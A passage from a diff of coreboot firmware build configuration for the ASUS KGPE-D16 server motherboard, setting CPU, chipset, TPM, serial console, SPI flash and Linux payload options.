CONFIG_BOARD_ASUS_F2A85_M_PRO is not set +# CONFIG_BOARD_ASUS_F2A85_M_LE is not set +# CONFIG_BOARD_ASUS_H61M_CS is not set +# CONFIG_BOARD_ASUS_KCMA_D8 is not set +# CONFIG_BOARD_ASUS_KFSN4_DRE is not set CONFIG_BOARD_ASUS_KGPE_D16=y +# CONFIG_BOARD_ASUS_M4A78_EM is not set +# CONFIG_BOARD_ASUS_M4A785M is not set +# CONFIG_BOARD_ASUS_M4A785TM is not set +# CONFIG_BOARD_ASUS_M5A88_V is not set +# CONFIG_BOARD_ASUS_MAXIMUS_IV_GENE_Z is not set +# CONFIG_BOARD_ASUS_P2B_D is not set +# CONFIG_BOARD_ASUS_P2B_DS is not set +# CONFIG_BOARD_ASUS_P2B_F is not set +# CONFIG_BOARD_ASUS_P2B_LS is not set +# CONFIG_BOARD_ASUS_P2B is not set +# CONFIG_BOARD_ASUS_P3B_F is not set +# CONFIG_BOARD_ASUS_P5GC_MX is not set +# CONFIG_BOARD_ASUS_P5QC is not set +# CONFIG_BOARD_ASUS_P5Q_PRO is not set +# CONFIG_BOARD_ASUS_P5QL_PRO is not set +# CONFIG_BOARD_ASUS_P5QL_EM is not set +# CONFIG_BOARD_ASUS_P5QPL_AM is not set +# CONFIG_BOARD_ASUS_P5G41T_M_LX is not set +# CONFIG_BOARD_ASUS_P8H61_M_LX is not set +# CONFIG_BOARD_ASUS_P8H61_M_PRO is not set +# CONFIG_BOARD_ASUS_P8Z77_M_PRO is not set +CONFIG_POST_IO=y +CONFIG_BOOTBLOCK_MAINBOARD_INIT="mainboard/asus/kgpe-d16/bootblock.c" +CONFIG_DCACHE_RAM_BASE=0xc2000 +CONFIG_DCACHE_RAM_SIZE=0x1e000 +CONFIG_SOUTHBRIDGE_AMD_SB700_SATA_PORT_COUNT_BITFIELD=0x3f +CONFIG_MAX_REBOOT_CNT=10 +CONFIG_USBDEBUG_HCD_INDEX=0 +CONFIG_OVERRIDE_DEVICETREE="" +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_FMDFILE="" +# CONFIG_VBOOT is not set +CONFIG_MMCONF_BASE_ADDRESS=0xc0000000 +CONFIG_POST_DEVICE=y +CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y +CONFIG_SPI_FLASH_WINBOND=y +CONFIG_TPM_INIT=y +CONFIG_DRIVERS_INTEL_WIFI=y +CONFIG_DRIVERS_UART_8250IO=y +CONFIG_DIMM_MAX=4 +CONFIG_TPM_PIRQ=0x0 +CONFIG_TTYS0_LCS=3 +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="KGPE-D16" +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=8 CONFIG_USBDEBUG=y +CONFIG_IPMI_KCS_REGISTER_SPACING=1 +CONFIG_MAINBOARD_VERSION="1.0" CONFIG_DRIVERS_PS2_KEYBOARD=y +CONFIG_PCIEXP_L1_SUB_STATE=y +# CONFIG_NO_POST is not set +CONFIG_SMBIOS_ENCLOSURE_TYPE=0x03 +CONFIG_HEAP_SIZE=0xc0000 +# CONFIG_CONSOLE_POST is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 CONFIG_LINUX_COMMAND_LINE="nohz=on console=tty0 earlyprintk=tty0 quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_2048=y +# CONFIG_COREBOOT_ROMSIZE_KB_64 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_128 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=16384 +CONFIG_ROM_SIZE=0x1000000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y +# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set +CONFIG_POWER_STATE_ON_AFTER_FAILURE=y +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 +# CONFIG_SYSTEM_TYPE_LAPTOP is not set +# CONFIG_SYSTEM_TYPE_TABLET is not set +# CONFIG_SYSTEM_TYPE_DETACHABLE is not set +# CONFIG_SYSTEM_TYPE_CONVERTIBLE is not set +# CONFIG_CBFS_AUTOGEN_ATTRIBUTES is not set + +# +# Chipset +# + +# +# SoC +# +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_CPU_ADDR_BITS=48 +CONFIG_MMCONF_BUS_NUMBER=256 +CONFIG_EHCI_BAR=0xfef00000 +CONFIG_SMM_MODULE_STACK_SIZE=0x400 +CONFIG_ACPI_CPU_STRING="\\_PR.CP%02d" +# CONFIG_SOC_CAVIUM_CN81XX is not set +CONFIG_ARCH_ARMV8_EXTENSION=0 +CONFIG_STACK_SIZE=0x1000 +# CONFIG_SOC_CAVIUM_COMMON is not set +# CONFIG_SOC_INTEL_GLK is not set +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_PCIEXP_CLK_PM=y +CONFIG_TTYS0_BASE=0x2f8 +CONFIG_HPET_MIN_TICKS=0x14 +CONFIG_UART_PCI_ADDR=0x0 +# CONFIG_SOC_MEDIATEK_MT8173 is not set +# CONFIG_SOC_MEDIATEK_MT8183 is not set +# CONFIG_SOC_NVIDIA_TEGRA124 is not set +# CONFIG_SOC_NVIDIA_TEGRA210 is not set +# CONFIG_SOC_QUALCOMM_COMMON is not set +# CONFIG_SOC_QC_IPQ40XX is not set +# CONFIG_SOC_QC_IPQ806X is not set +# CONFIG_SOC_QUALCOMM_QCS405 is not set +# CONFIG_SOC_QUALCOMM_SC7180 is not set +# CONFIG_SOC_QUALCOMM_SDM845 is not set +# CONFIG_SOC_ROCKCHIP_RK3288 is not set +# CONFIG_SOC_ROCKCHIP_RK3399 is not set +# CONFIG_CPU_SAMSUNG_EXYNOS5250 is not set +# CONFIG_CPU_SAMSUNG_EXYNOS5420 is not set +# CONFIG_SOC_UCB_RISCV is not set + +# +# CPU +# +CONFIG_CPU_SOCKET_TYPE=0x15 +# CONFIG_EXT_RT_TBL_SUPPORT is not set +CONFIG_CBB=0x0 +CONFIG_CDB=0x18 +CONFIG_XIP_ROM_SIZE=0x80000 +CONFIG_CPU_AMD_SOCKET_G34_NON_AGESA=y +CONFIG_CPU_AMD_MODEL_10XXX=y +CONFIG_USE_LARGE_DCACHE=y +CONFIG_NUM_IPI_STARTS=1 +CONFIG_DCACHE_BSP_TOP_STACK_SIZE=0x4000 +CONFIG_DCACHE_BSP_TOP_STACK_SLUSH=0x4000 +CONFIG_DCACHE_AP_STACK_SIZE=0x500 +CONFIG_SET_FIDVID=y +CONFIG_LIFT_BSP_APIC_ID=y +CONFIG_SET_FIDVID_DEBUG=y +CONFIG_SET_FIDVID_STORE_AP_APICID_AT_FIRST=y +# CONFIG_SET_FIDVID_CORE0_ONLY is not set +CONFIG_SET_FIDVID_CORE_RANGE=0 +CONFIG_UDELAY_LAPIC_FIXED_FSB=200 +# CONFIG_CPU_AMD_AGESA is not set +# CONFIG_CPU_AMD_PI is not set +# CONFIG_CPU_ARMLTD_CORTEX_A9 is not set +CONFIG_SSE2=y +# CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE is not set +# CONFIG_CPU_INTEL_TURBO_NOT_PACKAGE_SCOPED is not set +# CONFIG_CPU_TI_AM335X is not set +CONFIG_PARALLEL_CPU_INIT=y +# CONFIG_PARALLEL_MP is not set +CONFIG_UDELAY_LAPIC=y +# CONFIG_LAPIC_MONOTONIC_TIMER is not set +# CONFIG_UDELAY_TSC is not set +CONFIG_TSC_SYNC_LFENCE=y +# CONFIG_TSC_SYNC_MFENCE is not set +# CONFIG_NO_FIXED_XIP_ROM_SIZE is not set +CONFIG_LOGICAL_CPUS=y +# CONFIG_HAVE_SMI_HANDLER is not set +# CONFIG_NO_SMM is not set +# CONFIG_SMM_ASEG is not set +CONFIG_SMM_TSEG=y +CONFIG_SMM_MODULE_HEAP_SIZE=0x4000 +CONFIG_SMM_STUB_STACK_SIZE=0x400 +# CONFIG_SMM_LAPIC_REMAP_MITIGATION is not set +# CONFIG_SERIALIZED_SMM_INITIALIZATION is not set +CONFIG_X86_AMD_FIXED_MTRRS=y +# CONFIG_X86_AMD_INIT_SIPI is not set +# CONFIG_MIRROR_PAYLOAD_TO_RAM_BEFORE_LOADING is not set +# CONFIG_SOC_SETS_MSRS is not set +CONFIG_CAR_GLOBAL_MIGRATION=y +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +# CONFIG_USES_MICROCODE_HEADER_FILES is not set +# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_NONE=y +CONFIG_CPU_MICROCODE_MULTIPLE_FILES=y + +# +# Northbridge +# +# CONFIG_NORTHBRIDGE_AMD_AGESA is not set +CONFIG_NORTHBRIDGE_AMD_AMDFAM10=y +CONFIG_AGP_APERTURE_SIZE=0x4000000 +CONFIG_BOOTBLOCK_NORTHBRIDGE_INIT="northbridge/amd/amdfam10/bootblock.c" +CONFIG_SB_HT_CHAIN_UNITID_OFFSET_ONLY=y +# CONFIG_HT_CHAIN_DISTRIBUTE is not set +# CONFIG_DIMM_DDR2 is not set +CONFIG_DIMM_DDR3=y +CONFIG_DIMM_REGISTERED=y +CONFIG_DIMM_VOLTAGE_SET_SUPPORT=y +# CONFIG_SVI_HIGH_FREQ is not set + +# +# HyperTransport setup +# +# CONFIG_LIMIT_HT_DOWN_WIDTH_8 is not set +CONFIG_LIMIT_HT_DOWN_WIDTH_16=y +# CONFIG_LIMIT_HT_UP_WIDTH_8 is not set +CONFIG_LIMIT_HT_UP_WIDTH_16=y +# CONFIG_NORTHBRIDGE_AMD_PI is not set + +# +# Southbridge +# +CONFIG_SOUTHBRIDGE_SPECIFIC_OPTIONS=y +CONFIG_BOOTBLOCK_SOUTHBRIDGE_INIT="southbridge/amd/sb700/bootblock.c" +# CONFIG_AMD_SB_CIMX is not set +# CONFIG_SOUTHBRIDGE_AMD_CIMX_SB800 is not set +# CONFIG_SOUTHBRIDGE_AMD_CIMX_SB900 is not set +CONFIG_SOUTHBRIDGE_AMD_SB700=y CONFIG_SOUTHBRIDGE_AMD_SB700_33MHZ_SPI=y +CONFIG_SOUTHBRIDGE_AMD_SUBTYPE_SP5100=y +# CONFIG_SOUTHBRIDGE_AMD_SB700_SKIP_ISA_DMA_INIT is not set +CONFIG_SOUTHBRIDGE_AMD_SB700_DISABLE_ISA_DMA=y +CONFIG_SOUTHBRIDGE_AMD_SR5650=y +CONFIG_EXT_CONF_SUPPORT=y +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ is not set +# CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG is not set +# CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE is not set + +# +# Super I/O +# +# CONFIG_SUPERIO_ASPEED_AST2400 is not set +# CONFIG_SUPERIO_ASPEED_COMMON_PRE_RAM is not set +# CONFIG_SUPERIO_ASPEED_HAS_UART_DELAY_WORKAROUND is not set +# CONFIG_SUPERIO_FINTEK_FAN_CONTROL is not set +CONFIG_SUPERIO_WINBOND_COMMON_PRE_RAM=y +CONFIG_SUPERIO_WINBOND_W83667HG_A=y + +# +# Embedded Controllers +# +# CONFIG_EC_GOOGLE_WILCO is not set +# CONFIG_CAVIUM_BDK is not set +# CONFIG_MAINBOARD_HAS_CHROMEOS is not set +# CONFIG_GOOGLE_SMBIOS_MAINBOARD_VERSION is not set +# CONFIG_UEFI_2_4_BINDING is not set +# CONFIG_UDK_2015_BINDING is not set +# CONFIG_UDK_2017_BINDING is not set +# CONFIG_USE_SIEMENS_HWILIB is not set +# CONFIG_ARM_LPAE is not set +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +# CONFIG_ARCH_POSTCAR_X86_32 is not set +CONFIG_ARCH_RAMSTAGE_X86_32=y +# CONFIG_ARCH_BOOTBLOCK_X86_64 is not set +# CONFIG_ARCH_VERSTAGE_X86_64 is not set +# CONFIG_ARCH_ROMSTAGE_X86_64 is not set +# CONFIG_ARCH_POSTCAR_X86_64 is not set +# CONFIG_ARCH_RAMSTAGE_X86_64 is not set +# CONFIG_USE_MARCH_586 is not set +# CONFIG_AP_IN_SIPI_WAIT is not set +# CONFIG_SIPI_VECTOR_IN_ROM is not set +CONFIG_RAMBASE=0xe00000 +CONFIG_RAMTOP=0x1000000 +# CONFIG_CBMEM_TOP_BACKUP is not set +CONFIG_PC80_SYSTEM=y +# CONFIG_BOOTBLOCK_DEBUG_SPINLOOP is not set +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_IOAPIC_INTERRUPTS_ON_FSB=y +# CONFIG_IOAPIC_INTERRUPTS_ON_APIC_SERIAL_BUS is not set +# CONFIG_HPET_ADDRESS_OVERRIDE is not set +CONFIG_HPET_ADDRESS=0xfed00000 +CONFIG_ID_SECTION_OFFSET=0x80 +# CONFIG_VERSTAGE_DEBUG_SPINLOOP is not set +# CONFIG_ROMSTAGE_DEBUG_SPINLOOP is not set +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_BOOTBLOCK_SOURCE="bootblock_simple.c" +CONFIG_ACPI_HAVE_PCAT_8259=y +# CONFIG_COLLECT_TIMESTAMPS_NO_TSC is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +# CONFIG_PAGING_IN_CACHE_AS_RAM is not set +# CONFIG_IDT_IN_EVERY_STAGE is not set +# CONFIG_PIRQ_ROUTE is not set + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_MAINBOARD_HAS_NATIVE_VGA_INIT=y +CONFIG_MAINBOARD_FORCE_NATIVE_VGA_INIT=y +# CONFIG_MAINBOARD_HAS_LIBGFXINIT is not set +CONFIG_MAINBOARD_DO_NATIVE_VGA_INIT=y +# CONFIG_MULTIPLE_VGA_ADAPTERS is not set + +# +# Display +# +CONFIG_VGA_TEXT_FRAMEBUFFER=y +CONFIG_SMBUS_HAS_AUX_CHANNELS=y +CONFIG_PCI=y +# CONFIG_NO_MMCONF_SUPPORT is not set +CONFIG_MMCONF_SUPPORT=y +CONFIG_HYPERTRANSPORT_PLUGIN_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +# CONFIG_AZALIA_PLUGIN_SUPPORT is not set +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +# CONFIG_EARLY_PCI_BRIDGE is not set +# CONFIG_SOFTWARE_I2C is not set + +# +# Generic Drivers +# +# CONFIG_DRIVERS_AS3722_RTC is not set +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_MAINBOARD_HAS_CRB_TPM is not set +# CONFIG_GIC is not set +CONFIG_IPMI_KCS=y +# CONFIG_DRIVERS_LENOVO_WACOM is not set +# CONFIG_RT8168_GET_MAC_FROM_VPD is not set +# CONFIG_RT8168_SET_LED_MODE is not set +# CONFIG_SMMSTORE_IN_CBFS is not set +CONFIG_SPI_FLASH=y +# CONFIG_SPI_SDCARD is not set +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +# CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY is not set +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_SPI_FLASH_ADESTO=y +CONFIG_SPI_FLASH_AMIC=y +CONFIG_SPI_FLASH_ATMEL=y +CONFIG_SPI_FLASH_EON=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_MACRONIX=y +CONFIG_SPI_FLASH_SPANSION=y +CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_SPI_FLASH_FAST_READ_DUAL_OUTPUT_3B is not set +# CONFIG_SPI_FLASH_HAS_VOLATILE_GROUP is not set +# CONFIG_HAVE_SPI_CONSOLE_SUPPORT is not set +CONFIG_DRIVERS_UART=y +# CONFIG_DRIVERS_UART_8250IO_SKIP_INIT is not set +# CONFIG_NO_UART_ON_SUPERIO is not set +# CONFIG_UART_OVERRIDE_INPUT_CLOCK_DIVIDER is not set +# CONFIG_UART_OVERRIDE_REFCLK is not set +# CONFIG_DRIVERS_UART_8250MEM is not set +# CONFIG_DRIVERS_UART_8250MEM_32 is not set +# CONFIG_HAVE_UART_SPECIAL is not set +# CONFIG_DRIVERS_UART_OXPCIE is not set +# CONFIG_DRIVERS_UART_PL011 is not set +# CONFIG_UART_USE_REFCLK_AS_INPUT_CLOCK is not set +CONFIG_HAVE_USBDEBUG=y +CONFIG_HAVE_USBDEBUG_OPTIONS=y +CONFIG_USBDEBUG_IN_PRE_RAM=y +CONFIG_USBDEBUG_DEFAULT_PORT=0 +CONFIG_USBDEBUG_DONGLE_STD=y +# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set +# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set +CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_VPD is not set +CONFIG_DRIVERS_GENERIC_WIFI=y +# CONFIG_USE_SAR is not set +# CONFIG_DRIVERS_AMD_PI is not set +CONFIG_DRIVERS_ASPEED_AST2050=y +CONFIG_DRIVERS_ASPEED_AST_COMMON=y +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_I2C_MAX98373 is not set +# CONFIG_DRIVERS_I2C_MAX98927 is not set +# CONFIG_DRIVERS_I2C_PCA9538 is not set +# CONFIG_DRIVERS_I2C_PCF8523 is not set +# CONFIG_DRIVERS_I2C_PTN3460 is not set +# CONFIG_DRIVERS_I2C_RT1011 is not set +# CONFIG_DRIVERS_I2C_RT5663 is not set +# CONFIG_DRIVERS_I2C_RTD2132 is not set +# CONFIG_DRIVERS_I2C_RX6110SA is not set +# CONFIG_DRIVERS_I2C_SX9310 is not set +# CONFIG_MAINBOARD_HAS_I2C_TPM_ATMEL is not set +# CONFIG_MAINBOARD_HAS_I2C_TPM_CR50 is not set +# CONFIG_MAINBOARD_HAS_I2C_TPM_GENERIC is not set +CONFIG_DRIVERS_I2C_W83795=y +# CONFIG_PLATFORM_USES_FSP1_0 is not set +# CONFIG_PLATFORM_USES_FSP2_0 is not set +# CONFIG_PLATFORM_USES_FSP2_1 is not set +# CONFIG_INTEL_DDI is not set +# CONFIG_INTEL_EDID is not set +# CONFIG_INTEL_INT15 is not set +# CONFIG_INTEL_GMA_ACPI is not set +# CONFIG_INTEL_GMA_SSC_ALTERNATE_REF is not set +# CONFIG_INTEL_GMA_SWSMISCI is not set +# CONFIG_DRIVER_INTEL_I210 is not set +# CONFIG_DRIVERS_INTEL_MIPI_CAMERA is not set +# CONFIG_HAVE_INTEL_PTT is not set +# CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS is not set +# CONFIG_DRIVER_MAXIM_MAX77686 is not set +# CONFIG_DRIVER_PARADE_PS8625 is not set +# CONFIG_DRIVER_PARADE_PS8640 is not set +CONFIG_DRIVERS_MC146818=y +CONFIG_LPC_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +CONFIG_MAINBOARD_HAS_LPC_TPM=y +CONFIG_VGA=y +# CONFIG_DRIVERS_RICOH_RCE822 is not set +# CONFIG_DRIVER_SIEMENS_NC_FPGA is not set +# CONFIG_NC_FPGA_NOTIFY_CB_READY is not set +# CONFIG_DRIVERS_SIL_3114 is not set +# CONFIG_MAINBOARD_HAS_SPI_TPM_CR50 is not set +# CONFIG_DRIVER_TI_TPS65090 is not set +# CONFIG_DRIVERS_TI_TPS65913 is not set +# CONFIG_DRIVERS_TI_TPS65913_RTC is not set +# CONFIG_DRIVERS_USB_ACPI is not set +# CONFIG_COMMONLIB_STORAGE is not set + +# +# Security +# + +# +# Verified Boot (vboot) +# + +# +# Trusted Platform Module +# +CONFIG_TPM1=y +# CONFIG_USER_NO_TPM is not set CONFIG_USER_TPM1=y +# CONFIG_USER_TPM2 is not set +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set CONFIG_TPM_RDRESP_NEED_DELAY=y + +# +# Memory initialization +# +# CONFIG_ACPI_SATA_GENERATOR is not set +# CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES is not set +# CONFIG_ACPI_AMD_HARDWARE_SLEEP_VALUES is not set +# CONFIG_BOOT_DEVICE_NOT_SPI_FLASH is not set +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +# CONFIG_BOOT_DEVICE_SUPPORTS_WRITES is not set +# CONFIG_RTC is not set + +# +# Console +# +CONFIG_SQUELCH_EARLY_SMP=y +CONFIG_CONSOLE_SERIAL=y + +# +# I/O mapped, 8250-compatible +# + +# +# Serial port base address = 0x2f8 +# +# CONFIG_CONSOLE_SERIAL_921600 is not set +# CONFIG_CONSOLE_SERIAL_460800 is not set +# CONFIG_CONSOLE_SERIAL_230400 is not set +CONFIG_CONSOLE_SERIAL_115200=y +# CONFIG_CONSOLE_SERIAL_57600 is not set +# CONFIG_CONSOLE_SERIAL_38400 is not set +# CONFIG_CONSOLE_SERIAL_19200 is not set +# CONFIG_CONSOLE_SERIAL_9600 is not set +CONFIG_TTYS0_BAUD=115200 +# CONFIG_SPKMODEM is not set +CONFIG_CONSOLE_USB=y +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +# CONFIG_CONSOLE_SPI_FLASH is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +# CONFIG_CMOS_POST is not set +CONFIG_POST_DEVICE_NONE=y +# CONFIG_POST_DEVICE_LPC is not set +# CONFIG_POST_DEVICE_PCI_PCIE is not set +CONFIG_POST_IO_PORT=0x80 +# CONFIG_NO_EARLY_BOOTBLOCK_POSTCODES is not set +CONFIG_HWBASE_DEBUG_CB=y +CONFIG_HAVE_ROMSTAGE_CONSOLE_SPINLOCK=y +CONFIG_HAVE_ROMSTAGE_NVRAM_CBFS_SPINLOCK=y +CONFIG_HAVE_ROMSTAGE_MICROCODE_CBFS_SPINLOCK=y +# CONFIG_NO_MONOTONIC_TIMER is not set +CONFIG_HAVE_MONOTONIC_TIMER=y +# CONFIG_TIMER_QUEUE is not set +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_PCI_IO_CFG_EXT=y +CONFIG_IOAPIC=y +# CONFIG_USE_WATCHDOG_ON_BOOT is not set +# CONFIG_GFXUMA is not set +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_HAVE_MP_TABLE=y +CONFIG_HAVE_PIRQ_TABLE=y +# CONFIG_COMMON_FADT is not set +# CONFIG_ACPI_NHLT is not set + +# +# System tables +# +CONFIG_GENERATE_MP_TABLE=y +CONFIG_GENERATE_PIRQ_TABLE=y +CONFIG_GENERATE_SMBIOS_TABLES=y +# CONFIG_SMBIOS_PROVIDED_BY_MOBO is not set + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BAYOU is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_YABITS is not set CONFIG_PAYLOAD_LINUX=y +# CONFIG_PAYLOAD_TIANOCORE is not set CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set + +# +# Debugging +# + +# +# CPU Debug Settings +# +CONFIG_HAVE_DEBUG_CAR=y +# CONFIG_DEBUG_CAR is not set + +# +# BLOB Debug Settings +# + +# +# General Debug Settings +# +# CONFIG_GDB_STUB is not set +# CONFIG_FATAL_ASSERTS is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_RAM_SETUP=y +# CONFIG_DEBUG_RAM_SETUP is not set +# CONFIG_DEBUG_PIRQ is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_TRACE is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +# CONFIG_HAVE_EM100_SUPPORT is not set +CONFIG_ENABLE_APIC_EXT_ID=y +CONFIG_WARNINGS_ARE_ERRORS=y +# CONFIG_POWER_BUTTON_DEFAULT_ENABLE is not set +# CONFIG_POWER_BUTTON_DEFAULT_DISABLE is not set +# CONFIG_POWER_BUTTON_FORCE_ENABLE is not set +# CONFIG_POWER_BUTTON_FORCE_DISABLE is not set +# CONFIG_POWER_BUTTON_IS_OPTIONAL is not set +# CONFIG_REG_SCRIPT is not set +# CONFIG_NO_XIP_EARLY_STAGES is not set +# CONFIG_EARLY_CBMEM_LIST is not set +CONFIG_RELOCATABLE_MODULES=y +CONFIG_NO_STAGE_CACHE=y +CONFIG_BOOTBLOCK_CUSTOM=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-kgpe-d16_server.config b/config/coreboot-kgpe-d16_server.config index e08ec4f19..b00b5b778 100644 --- a/config/coreboot-kgpe-d16_server.config +++ b/config/coreboot-kgpe-d16_server.config @@ -1,17 +1,721 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set CONFIG_USE_OPTION_TABLE=y +# CONFIG_STATIC_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +# CONFIG_USE_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_NO_RELOCATABLE_RAMSTAGE=y +# CONFIG_RELOCATABLE_RAMSTAGE is not set 